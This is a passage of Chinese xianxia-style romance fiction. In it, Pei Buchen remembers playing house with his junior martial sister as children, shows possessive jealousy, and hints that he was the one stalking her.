他刚刚想要走过去,脸颊上的血打湿了自己的手背,裴不沉迟疑片刻,施法给自己戴上一张面具。 “你……”话说到一半卡壳了,因为他发觉师妹并不是在哭,而是低着脑袋在捡石头,手边已经搭好了几个歪歪斜斜的石头房子。 听见有人在背后说话,她扭过脸,惊讶地“啊”了一声,指着他叫出声:“乌龟!” 裴不沉一愣:“什么?” 她解释:“面具,绿油油的,纹路一圈圈的,像乌龟。” 裴不沉不语,看了她一会,才在她身边蹲下来。 师妹似乎不需要他安慰了。 “你在干什么?” “这是我搭的屋子。”她兴致勃勃地向裴不沉介绍,“我是屋子的女主人。” “还有这个娃娃。”她拿出一个脏兮兮的、五官只用简单潦草直线勾勒的晴天娃娃,是之前被当做垃圾塞进课桌里的东西之一,“可以当成我的宝宝。” 原来是在扮家家酒。裴不沉冷冷地扫了一眼她手中丑陋的晴天娃娃,心中生起一丝微妙的嫉妒,他妒忌这些冰冷的死物可以进入她的念头,得到她的关注,被她的十指随心所欲摆弄成各种形状。 “屋子有了女主人、有了孩子,是不是还缺一个男主人?”他耐着性子,循循善诱,露出无懈可击的完美假面,“我陪你一起玩,好不好?” 于是他陪她一起玩过家家,他扮演丈夫,她是他的新娘子。被人扔掉不要的晴天娃娃当做他们的孩子。他送她好看的玉佩,她就把丑陋的晴天娃娃送给他,他一直留着,雨天怕弄湿,晴天怕晒坏,可再见时她却没认出来。其实他见过她很多次,但是她似乎都不大记得了。她总是不记得他。 她总是看不见他。 如今师妹长大了,也渐渐像个正常人了,除了很偶尔的时候,几乎看不出那个需要模仿别人才能笑出来的女孩子的影子。 可不知为何,现在的她比以前的她更让他兴奋。 只是这兴奋里又掺杂了丝丝缕缕的刺痛。 是从什么时候开始的呢,她在他不知道的地方,长得这么大了。 昨夜灵堂中,师妹临睡前,他问她最近有没有遇到不开心的事情。 师妹绞尽脑汁地想了一会,才轻描淡写地提到某日午后自己好像撞鬼了,还有人半夜跟踪。 裴不沉紧紧地盯着那张无忧无虑的美丽面孔,生怕错过任何一丝细微的表情变化:“害怕吗?” 师妹反应平淡:“就是有点烦。” 他感到微微的不可置信:“只是觉得烦?不会恶心吗?” “……可能也有一点吧。” 裴不沉对模糊的反应很不满意,她波澜不惊的语气像是他处心积虑引导产生,而她只是一味顺从,循规蹈矩地给予回应,藏在胸脯之下的真心却始终像隔着一层雾色玻璃看不真切。 他的心脏砰砰直跳,唇舌发干,颅骨里仿佛熊熊燃烧着永远也无法熄灭的大火:“……如果是我做的呢?” 害怕她发现,可是又期待她发现,像是在隐秘地渴求着将华美琉璃盏摔烂爆裂的一瞬间。 他坐在安静空旷的灵堂,惨淡的余烬将最后一丝光辉投在他的脸上,少年的面容阴郁俊美,鬼气森森。 而他的师妹歪脑袋想了想,说那也没关系。